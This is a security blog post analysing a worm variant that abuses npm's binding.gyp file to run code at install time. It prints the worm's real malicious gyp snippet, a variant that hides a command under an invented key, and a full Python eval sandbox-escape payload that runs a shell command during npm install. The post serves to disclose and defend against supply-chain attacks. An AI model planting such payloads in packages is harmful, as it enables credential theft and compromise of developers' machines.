Wait, binding.gyp Can Do What? Exploring npm's Weirdest Build System A new variant of the Miasma worm has been discovered exploiting npm's binding.gyp build file to execute malicious code during package installation, bypassing traditional package.json script audits. The worm uses GYP's command expansion feature to run arbitrary shell commands, compromising packages like @vapi-ai/server-sdk and ai-sdk-ollama across npm, PyPI, and GitHub. It has only been a couple of days since the Miasma attack hit 32 official Red Hat packages https://www.aikido.dev/blog/red-hat-npm-packages-compromised-credential-stealing-worm on npm. The worm added a malicious preinstall script to each compromised package, so that node index.js ran automatically the moment you installed the dependency, harvesting cloud credentials, CI tokens, SSH keys and more before you ever ran a single line of your own code. In the days that followed, Miasma spread well beyond its initial targets, hitting several other packages across npm, PyPI, and GitHub, including @vapi-ai/server-sdk 71k weekly downloads and ai-sdk-ollama 31k weekly downloads . However, this new wave comes with a new trick. If you audited one of these packages, looked at its package.json , saw no preinstall or postinstall hook, and concluded it was safe to install, think again. The latest variant moved its trigger out of package.json entirely and into a far less scrutinised file that npm will happily execute for you at install time: binding.gyp . In this article, I’ll do a proper deep dive into binding.gyp . We will look at what it is, why npm runs it, and the surprising number of ways it can be abused to execute arbitrary code, from sandbox evasion to compiler hijacking , all while looking like an innocent build file. What are node-gyp and binding.gyp? Plenty of npm packages are not pure JavaScript. They ship native add-ons written in C or C++ that need to be compiled into a binary before Node can load them. The tool responsible for that compilation step is node-gyp , a cross-platform build tool that npm bundles and invokes for you. It is a wrapper around GYP, which stands for Generate Your Projects, a build system Google originally created for the Chromium project. However, Google has moved Chromium off it and stopped maintaining it, so node-gyp now relies on a fork maintained by Node.js. node-gyp knows what to build by reading a file called binding.gyp that lives in the root of the package. It is a JSON-like file that describes the build technically a Python literal, which will matter later . It describes which source files to compile, which include directories to use, and so on. A normal, honest binding.gyp could look like this: { "targets": { "target name": "addon", "sources": "src/addon.cc" } } However, this can easily become a security problem. When npm installs a package and notices a binding.gyp in its root, it automatically runs node-gyp rebuild for that package as part of the install. The package does not need to register any script in package.json to make it happen. The mere presence of a binding.gyp file is enough for code to run during installation. So even a package with a completely clean package.json , with zero lifecycle hooks, will trigger the gyp toolchain at install time simply because the file exists. How Miasma exploited it Here is an actual snippet of what the worm dropped into the compromised packages: { "targets": { "target name": "Setup", "type": "none", "sources": "< node index.js /dev/null 2 &1 && echo stub.c " } } At a glance, this reads like a build target named Setup with a single source file. Look closer at the sources array. Instead of a plain filename, it contains a string wrapped in < ... . That < ... syntax is a gyp feature called a command expansion. When gyp parses this file, it does not treat the contents as a literal string. It runs the enclosed shell command and substitutes the command's output back into the field. So when node-gyp processes the target, it executes: node index.js /dev/null 2 &1 && echo stub.c Breaking that down: node index.js runs the malicious payload. This index.js is the same Miasma payload we saw in the earlier Red Hat attacks https://www.aikido.dev/blog/red-hat-npm-packages-compromised-credential-stealing-worm , the obfuscated credential stealer and worm from this campaign. /dev/null 2 &1 throws away all output, so nothing suspicious shows up in the install logs. && echo stub.c prints a harmless-looking filename. Gyp captures that as the value of the sources entry, so the build keeps going and nothing looks broken. The payload runs, stays quiet, and the build completes normally. No preinstall hook necessary. The expansion syntax, and why it is even worse than it looks GYP actually offers several flavors of command expansion: < command / command / ^ command – runs the command and substitutes its raw output as a single string. < @ command / @ command / ^ @ command – runs the command and splits its output into a list, which is handy where gyp expects an array. < pymod do main module args – imports module as a Python module and calls its DoMain function, using the return value as the substitution. <| name item1 item2 ... creates a file called name at parse time, with each item on its own line. These all execute at parse time, before any compilation actually happens. Intuitively, you’d expect that this would only happen in real documented fields like sources , libraries or include dirs . That intuition is wrong, and this is where it starts to get interesting. GYP does not scope command expansion to a known list of fields. When it loads a .gyp file, it walks the entire parsed structure recursively and expands < ... and < @ ... inside any string value it finds, no matter which key that string lives under. There is no schema that says "only these field names are allowed." In practice, that means an attacker can invent a field name like some random key that does not exist in gyp's documentation at all, and the command inside it will still run: { "some random key": "< node evil.js && echo 0 ", "targets": } There is no some random key field in gyp. It does not need to be one. The string sitting under that key contains a < ... token, the recursive expansion pass reaches it, and the command runs. This is what makes reviewing these so painful. You can’t just check the handful of fields you expect to be dangerous, because the payload can be hidden under any key, and at any depth, in the file. The sandbox escape Thought command expansions were risky? It only gets worse from here. Up to now, we have treated binding.gyp as a slightly unusual JSON file with some extra features. Under the hood, it is actually a Python dictionary, and it hands the file straight to Python's eval . See where I'm going with this? That's right: the file that npm runs for you at install time is parsed by eval . The gyp authors were not blind to how that could be abused, so they call eval with the builtins stripped out: eval file contents, {" builtins ": {}}, None The idea is that without built-in functions available, an attacker who controls the gyp file can’t reach anything dangerous, like running a shell command or reading files off the disk. The building blocks you would normally use for that, such as import to load the os module or open to touch a file, have all been taken away. It is a classic sandbox. However, like almost every attempt to sandbox Python's eval, it can be escaped. We can climb straight back out of that sandbox and make GYP run arbitrary Python code. Here is a complete malicious binding.gyp , in full: c for c in . class . base . subclasses if c. name == 'catch warnings' 0 . module. builtins ' import ' 'os' .system 'node evil.js' That's it. That is the whole file. No JSON syntax is necessary. We didn't use any of the usual targets or sources fields you'd expect to see in a gyp file. Just a single Python expression. It works because, before node evil.js is called, the expression pulls off a little trick to break out of eval 's sandbox. The dangerous functions were taken away, but the harmless objects you can still touch quietly hold hidden references back to them. Starting from the harmless empty tuple , it hops through Python's internal object relationships until it finds something that still holds a reference back to the functions that were taken away, grabs them, and uses that to import the os module and run the shell command node evil.js . And this executes the moment someone runs npm install